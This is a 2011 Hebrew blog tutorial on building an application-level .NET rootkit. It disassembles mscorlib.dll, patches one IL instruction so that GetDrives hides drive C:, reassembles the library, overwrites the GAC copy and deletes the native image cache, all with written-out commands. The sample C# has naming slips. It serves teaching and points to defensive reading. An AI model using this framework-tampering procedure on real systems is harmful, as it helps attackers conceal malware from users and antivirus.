יום שבת, 8 בינואר 2011

Managed .Net RootKit

RootKit או בעברית "ערכת שורש" מאפשרת לתוקף לשנות תהליכים במערכת ההפעלה של הקורבן, ע"י שינוי תוכניות הרצות במערכת ההפעלה , ולהזריק קוד לתהליכים רצים  ולשנות את אופן עבודתם, לדוגמה: התוקף מתקין איזה תולעת או סוס טוריאני ע"ג הקורבן אבל מעוניין להסתיר אותו מעיניי המשתמש או מתוכנת האנטי וירוס, עליו יהיה להפעיל בנוסף RootKit על מנת להסתיר אותו מהבקשות של המשתמש או מתוכנות אחרות מול מערכת ההפעלה, אין דבר יותר גרוע מלהיות מודבק ב RootKit כי קיים קושי רב בלמצוא ולנטרל אותו.

תהליך כתיבת RootKit הוא מסובך ומצריך ידע רב במערכות הפעלה ובשפות נמוכות כמו Assembler ו C, אבל ניתן למצוא מידע רב באינטרנט ובספרים רבים כמו The RootKit Arsenal, קיימים מספר שכבות ל RootKit שקובעות את עוצמתו:

  • Virtualised - השכבה החזקה ביותר שבעצם מוטמעת בשלב העלייה של המחשב, מתחברת לחומרה ואח"כ מערכת ההפעלה עובדת מול ה RootKit והוא מעביר לחומרה.
  • Kernel Mode - הפעלת RootKit מה Kernel של מערכת ההפעלה.
  • Library level / User Mode - שינוי הספריות שעובדות מול ה Kernel.
  • Application Mode - שינוי ספריות של האפליקציה.
ה RootKit שנכתוב הוא ברמת ה Application Mode ובעצם נשנה את אופי העבודה של התוכנית שלנו.

תחילה יש להכיר את המנגון של .Net , דבר ראשון כל כתיבה של תוכנה ב .Net מצריכה עבודה מול Framework של מיקרוסופט ובעצם בלעדיו לא ניתן להריץ את הקוד שכתבנו כי הוא מצריך את המחלקות ב Framework, בזמן הריצה הקוד שלנו מתורגם לשפת בניים שנקראת IL - Intermediate Language שזאת השפה שנשלחת למנגנון CLR - Common Language Runtime שהיא שכבה וירטואלית שמפרידה בין מערכת ההפעלה לתוכנה שלנו ומשם עוברת למנגון JIT - Just In Time שממיר אותה לשפת מכונה תוך כדי ריצה.

*בעקבות התהליך הזה זמני התגובה של .Net איטיים יותר מאשר שפות נמוכות יותר כמו C ו C++.

חסרון נוסף ב .Net שניתן לחשוף את הקוד של התוכנה ע"י תוכנות Decompiler רבות, המפורסמת שבהן היא ה Reflector של חברת RedGate שחושפת  את הקוד בצורת טקסט וניתן לראות את הפונקציות והמשתנים בצורה נוחה מאוד בניגוד ל Disassembler של C \ C++ כמו IDA ששם הכל כתוב ב Assembler.


הנקודה החשובה היא שלא רק הקוד שלנו חשוף אלא גם הקוד של ה Framework חשוף, המחלקות שהתוכנית משתמשת ניתנות לצפייה, רק כדי לחדד את הנקודה אם אני אנסה להיכנס למחלקה System.IO דרך ה Visual Studio אני אוכל לראות רק את ההצהרות על הפונקציות ולא מעבר לזה.


לעומת זאת אם אני אבדוק את מחלקת System.IO ב Reflector אני אראה מה קורה בתוך הפונקציות ובכלל את כל המחלקות והמשתנים:




עכשיו נעבור על התוכנית שלנו, התוכנית בודקת כמה כוננים קשיחים יש על המחשב, המחלקה שנשתמש בה היא DriveInfo שנמצאת במרחב שמות של System.IO:

using System.IO;

 static void Main(string[] args)
{
     DriveInfo [] Mydrives = DriveInfo.GetDrivers();
     for(int i = 0; i < mydrivers.length; i++)
     {
          try
          {
                Console.WriteLine(mydrives[i].Name);
           }
           catch(Exception)
           {

           }
      }
}
ה RootKit שלנו הולך להעלים לאפליקציה את כונן :C ולהראות את שאר הכוננים, על מנת לעשות זאת יש להבין איפה מרחב השמות System.IO נמצא, ניתן לזהות את מרחב השמות ע"י תוכנות רבות כמו Process Hacker או באמצעות ה Reflector ע"י לחיצה על הפונקיצה GetDrivers.

המחלקה נמצאת בקובץ mscorlib.dll שהוא חלק מה Framework עליו התוכנית מבוססת, קובץ זה מכיל את מחלקות הליבה של ה Framework , והוא הקובץ המרכזי של ה Framework שלנו, הוא ממוקם ב GAC - Global Assembly Cache , זאת תקייה שמכילה את ב Cache של כל ה SharedLibarys של ה .Net, ניתן להגיע לספריה זאת מ
C:\Windows\assembly
היא לא ניתנת לשינוי דרך ממשק ה Windows עצמו, ניגש אליה דרך ה Console
C:\WINDOWS\assembly\GAC_32\




כלים שיעזרו לנו להשלים את המשימה:

ILDASM- תוכנה של מיקורוספט שעושה Disassmbler לקבצי .Net היא נמצאת בספריה Microsoft.SDK שמותקנת כחלק מ Visual Studio
C:\Program Files\Microsoft SDKs\Windows\v7.0A\Bin\

ILSAM - גם זאת תוכנה של מיקרוספט שעושה לנו קבצי DLL חדשים מקבצים בשפה IL , היא מגיעה לנו עם ה Framework
C:\Windows\Microsoft.NET\Framework\v2.0.50727\

*נקודה למחשבה למה מיקרוספט שיחררו את הכלים האלה אם הם יכולים לפגוע במחלקות של ה Framework עצמו?

לאחר שמצאנו את הפונקציה GetDrivers בתוך ה System.IO ניתן להמיר דרך ה Reflector את הפונקציה לשפות רבות ואחת מהן היא IL. 

נוכל לראות את החתימה של הפונקציה:
.method public hidebysig static class System.IO.DriveInfo[] GetDrives() cil managed

נמיר את קובץ ה mscorlib.dll לקובץ IL בפקודה הבאה:
C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin>ildasm /out=C:\mscorlib.il /nobar /linenum /source C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll
 
עכשיו נוצר לנו קובץ ב :C עם הקוד של mscorlib.
נחפש את חתימת הפונקציה בקובץ
 

אם נסתכל טוב בקוד נוכל לראות שהפונקציה קוראת לפונקציה פנימית הנקראת GetLogicalDrive אפשר כמובן לתקוף אותה במקום את הפונקציה הזאת.
 
נראה איך הפונקציה GetDrivers במרחב שמות System.IO נראת ב #C:
 
public static DriveInfo[] GetDrives()
{
   string[] logicalDrives = Directory.GetLogicalDrives();
    DriveInfo[] infoArray = new DriveInfo[logicalDrives.Length];
    for (int i = 0; i < logicalDrives.Length; i++)
    {
       infoArray[i] = new DriveInfo(logicalDrives[i]);
     }
    return infoArray;
}

מה שאפשר לעשות הוא בעצם להתחיל את הלולאה מ - 1 על מנת לדלג על הכונן שב 0, על מנת לעשות זאת נפתח את קובץ ה IL שיצרנו ונשנה את השורה 449664 מ 0 ל 1.

כמובן ניתן לעשות שינויים רבים אבל לצורך הדוגמה זה מספיק.


עכשיו ניצור את ה DLL מחדש, נרשום את הפקודה הזאת:
C:\Windows\Microsoft.NET\Framework\v2.0.50727>ilasm /debug /dll /quiet /output=c:\mscorlib.dll c:\mscorlib.il
יש לעתיק את ה DLL שיצרנו לספריה של ה Framework:
C:\> copy mscorlib.dll c:\windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\
 
עלמנת להכניס את ה DLL שיצרנו לתוקף יש לבצע 2 פקודות:
 
Ngen - Native Image Generator
יש להסיר את ה DLL מהמנגנון
C:\Windows\Microsoft.NET\Framework\v2.0.50727>ngen unistall mscorlib
מחיקה מה Cache:
C:> rd /s /q c:\windows\assembly\NativeImages_v2.0.50727_32\mscorlib
חשוב מאוד לעשות את כל התהליך על תחנה וירטואלית על מנת לא לפגוע במערכת שלנו.
 
עכשיו נראה את התוצאה:
 
המחשב שלא מודבק:
 
 
 
המחשב המודבק:
 

 
ארז מטולה אשף אבטחת מידע רשם על כל הנושא הזה ספר מפורט שמסביר את הבעיה וכיצד ניתן להגן נגד איומים מהסוג הזה.
קישור לספר:
 
בהצלחה...

אין תגובות:

הוסף רשומת תגובה